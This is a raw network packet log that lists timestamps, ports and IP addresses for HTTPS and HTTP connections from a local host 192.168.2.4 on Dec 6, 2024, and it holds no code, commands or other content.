Dec 6, 2024 00:16:54.805613995 CET	50110	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.805618048 CET	443	50110	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.805684090 CET	50110	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.805687904 CET	443	50110	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.812252045 CET	50114	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.812267065 CET	443	50114	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.812376022 CET	50114	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.812845945 CET	50115	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.812865019 CET	443	50115	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.812953949 CET	50115	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.813165903 CET	50114	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.813178062 CET	443	50114	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.813180923 CET	443	50111	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.813679934 CET	50115	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.813692093 CET	443	50115	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.815416098 CET	443	50112	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.815654039 CET	50116	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.815690041 CET	443	50116	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.815788984 CET	50116	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.816075087 CET	50116	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.816087961 CET	443	50116	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.816319942 CET	443	50111	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.816361904 CET	443	50111	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.816366911 CET	50111	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.816406965 CET	50111	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.816454887 CET	50111	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.816462994 CET	443	50111	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.816473007 CET	50111	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.816478968 CET	443	50111	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.818249941 CET	50117	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.818280935 CET	443	50117	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.818348885 CET	50117	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.818464994 CET	50117	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.818475962 CET	443	50117	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.819078922 CET	443	50112	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.819109917 CET	443	50112	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.819123983 CET	50112	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.819155931 CET	50112	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.819195032 CET	50112	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.819200039 CET	443	50112	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.819211960 CET	50112	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.819216967 CET	443	50112	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.820979118 CET	50118	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.820987940 CET	443	50118	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.821049929 CET	50118	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.821171045 CET	50118	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.821182966 CET	443	50118	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.583702087 CET	443	50115	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.585824966 CET	443	50116	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.586247921 CET	443	50117	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.586313963 CET	443	50118	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.586844921 CET	443	50114	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.612945080 CET	50114	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:56.612967968 CET	443	50114	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.613421917 CET	50114	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:56.613426924 CET	443	50114	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.613646984 CET	50115	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:56.613665104 CET	443	50115	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.613974094 CET	50115	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:56.613979101 CET	443	50115	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.614149094 CET	50116	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:56.614191055 CET	443	50116	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.614479065 CET	50116	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:56.614485025 CET	443	50116	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.614646912 CET	50117	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:56.614675999 CET	443	50117	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.614962101 CET	50117	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:56.614967108 CET	443	50117	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.615122080 CET	50118	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:56.615128994 CET	443	50118	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:56.615442991 CET	50118	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:56.615447044 CET	443	50118	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.018867016 CET	443	50116	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.019309998 CET	443	50117	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.019625902 CET	443	50115	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.022196054 CET	443	50116	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.022598982 CET	443	50117	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.022633076 CET	443	50117	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.022633076 CET	443	50118	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.022650003 CET	50117	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.022654057 CET	50116	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.022675991 CET	50117	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.022680998 CET	443	50115	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.022717953 CET	443	50115	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.022721052 CET	50115	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.022754908 CET	50115	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.025486946 CET	50116	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.025511026 CET	443	50116	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.025521040 CET	50116	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.025527000 CET	443	50116	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.025860071 CET	443	50118	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.026673079 CET	50117	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.026691914 CET	443	50117	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.026704073 CET	50117	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.026710033 CET	443	50117	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.026716948 CET	50118	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.027337074 CET	50115	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.027337074 CET	50115	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.027347088 CET	443	50115	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.027355909 CET	443	50115	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.036197901 CET	50118	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.036210060 CET	443	50118	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.036241055 CET	50118	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.036246061 CET	443	50118	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.039902925 CET	50119	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.039928913 CET	443	50119	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.039983988 CET	50119	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.043180943 CET	50120	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.043217897 CET	443	50120	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.043262005 CET	50120	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.043376923 CET	50119	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.043390989 CET	443	50119	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.044987917 CET	50121	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.045013905 CET	443	50121	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.045062065 CET	50121	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.045099974 CET	50120	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.045115948 CET	443	50120	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.045181036 CET	50121	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.045193911 CET	443	50121	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.045973063 CET	50122	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.045981884 CET	443	50122	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.048888922 CET	50122	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.049002886 CET	50122	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.049015999 CET	443	50122	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.075090885 CET	443	50114	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.078174114 CET	443	50114	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.080821037 CET	50114	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.081837893 CET	50114	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.081852913 CET	443	50114	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.081864119 CET	50114	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.081871986 CET	443	50114	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.084413052 CET	50123	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.084425926 CET	443	50123	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:57.084486008 CET	50123	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.084608078 CET	50123	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:57.084618092 CET	443	50123	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.759848118 CET	443	50119	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.760449886 CET	50119	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:58.760473967 CET	443	50119	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.761081934 CET	50119	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:58.761086941 CET	443	50119	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.773663044 CET	443	50122	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.773999929 CET	50122	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:58.774019957 CET	443	50122	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.774096012 CET	443	50120	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.774466038 CET	50122	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:58.774471998 CET	443	50122	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.774717093 CET	50120	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:58.774724007 CET	443	50120	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.775065899 CET	50120	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:58.775070906 CET	443	50120	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.781660080 CET	443	50121	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.781979084 CET	50121	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:58.782001019 CET	443	50121	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.782552958 CET	50121	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:58.782557964 CET	443	50121	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.848855019 CET	443	50123	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.849539995 CET	50123	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:58.849553108 CET	443	50123	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:58.850697041 CET	50123	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:58.850704908 CET	443	50123	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.187802076 CET	443	50119	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.191056013 CET	443	50119	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.191225052 CET	50119	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.191334009 CET	50119	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.191350937 CET	443	50119	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.191360950 CET	50119	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.191365957 CET	443	50119	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.194144964 CET	50125	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.194180965 CET	443	50125	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.194327116 CET	50125	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.194545031 CET	50125	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.194578886 CET	443	50125	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.204179049 CET	443	50122	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.207454920 CET	443	50122	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.207509995 CET	50122	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.207577944 CET	50122	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.207600117 CET	443	50122	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.207612038 CET	50122	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.207617998 CET	443	50122	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.209681034 CET	50126	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.209716082 CET	443	50126	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.209964991 CET	50126	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.210129023 CET	50126	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.210143089 CET	443	50126	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.223488092 CET	443	50120	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.223525047 CET	443	50121	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.223541021 CET	443	50120	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.223545074 CET	443	50121	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.223587990 CET	50120	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.223596096 CET	443	50121	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.223623037 CET	50121	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.223639965 CET	50121	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.223751068 CET	50120	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.223764896 CET	443	50120	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.223773956 CET	50120	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.223778009 CET	443	50120	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.223814011 CET	50121	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.223829031 CET	443	50121	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.223845959 CET	50121	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.223850965 CET	443	50121	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.225863934 CET	50127	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.225878954 CET	443	50127	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.225892067 CET	50128	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.225904942 CET	443	50128	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.225928068 CET	50127	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.225981951 CET	50128	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.226085901 CET	50127	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.226094961 CET	443	50127	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.226154089 CET	50128	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.226164103 CET	443	50128	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.278058052 CET	443	50123	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.281317949 CET	443	50123	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.281358004 CET	443	50123	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.281369925 CET	50123	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.281404018 CET	50123	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.281522036 CET	50123	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.281527996 CET	443	50123	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.281536102 CET	50123	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.281541109 CET	443	50123	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.283839941 CET	50129	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.283870935 CET	443	50129	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.284068108 CET	50129	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.291274071 CET	50129	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:59.291295052 CET	443	50129	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:59.324803114 CET	50066	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:59.324821949 CET	443	50066	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:59.326586962 CET	50065	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:59.326595068 CET	443	50065	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:59.327239990 CET	50130	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:59.327258110 CET	443	50130	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:59.327534914 CET	50130	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:59.327639103 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:16:59.366051912 CET	50130	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:59.366064072 CET	443	50130	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:59.366673946 CET	50132	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:59.366698980 CET	443	50132	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:59.366782904 CET	50132	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:59.635386944 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:17:00.252166033 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:17:00.915437937 CET	443	50125	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:00.941651106 CET	50125	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:00.941674948 CET	443	50125	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:00.942213058 CET	50125	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:00.942219019 CET	443	50125	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:00.953551054 CET	443	50127	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:00.953898907 CET	50127	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:00.953912973 CET	443	50127	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:00.954583883 CET	50127	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:00.954587936 CET	443	50127	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:00.956778049 CET	443	50128	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:00.957093954 CET	50128	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:00.957113981 CET	443	50128	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:00.957703114 CET	50128	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:00.957709074 CET	443	50128	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.015758038 CET	443	50129	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.015805006 CET	443	50126	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.061745882 CET	443	50130	142.250.181.14	192.168.2.4
Dec 6, 2024 00:17:01.064726114 CET	50126	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.064723969 CET	50129	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.064758062 CET	50130	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:17:01.117789984 CET	50129	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.117813110 CET	443	50129	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.121846914 CET	50129	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.121855021 CET	443	50129	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.122116089 CET	50126	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.122126102 CET	443	50126	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.126147032 CET	50126	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.126152039 CET	443	50126	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.389266968 CET	443	50128	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.390328884 CET	443	50127	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.392936945 CET	443	50128	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.393382072 CET	443	50127	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.393428087 CET	443	50127	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.393506050 CET	50128	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.394769907 CET	50127	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.449431896 CET	443	50129	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.452518940 CET	443	50129	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.453115940 CET	443	50126	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.453300953 CET	443	50126	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.453377962 CET	50129	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.454766989 CET	50126	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.470922947 CET	49739	80	192.168.2.4	69.42.215.252
Dec 6, 2024 00:17:01.503876925 CET	50128	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.503890991 CET	443	50128	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.503905058 CET	50128	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.503910065 CET	443	50128	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.505595922 CET	50127	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.505595922 CET	50127	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.505644083 CET	443	50127	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.505672932 CET	443	50127	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.507430077 CET	50129	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.507430077 CET	50129	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.507457018 CET	443	50129	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.507467031 CET	443	50129	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.508847952 CET	50126	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.508860111 CET	443	50126	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.508869886 CET	50126	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.508873940 CET	443	50126	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.768142939 CET	50133	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.768167973 CET	443	50133	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.768249989 CET	50133	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.776868105 CET	50134	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.776942015 CET	443	50134	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.777012110 CET	50134	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.777911901 CET	50133	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.777925014 CET	443	50133	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.779627085 CET	50135	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.779634953 CET	443	50135	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.779692888 CET	50135	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.780052900 CET	50135	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.780061960 CET	443	50135	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.780416012 CET	50134	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.780427933 CET	443	50134	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.790030003 CET	50136	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.790056944 CET	443	50136	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:01.790215015 CET	50136	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.790693045 CET	50136	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:01.790705919 CET	443	50136	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.321396112 CET	443	50136	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.322451115 CET	50136	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.322451115 CET	50136	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.322479963 CET	443	50136	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.322508097 CET	443	50136	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.495276928 CET	443	50133	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.498425961 CET	50133	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.498452902 CET	443	50133	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.498912096 CET	50133	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.498917103 CET	443	50133	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.506583929 CET	443	50135	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.507021904 CET	50135	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.507034063 CET	443	50135	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.507411003 CET	50135	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.507414103 CET	443	50135	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.509115934 CET	443	50134	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.509398937 CET	50134	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.509418964 CET	443	50134	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.509757042 CET	50134	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:03.509761095 CET	443	50134	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:03.765269995 CET	443	50136	13.107.246.63	192.168.2.4
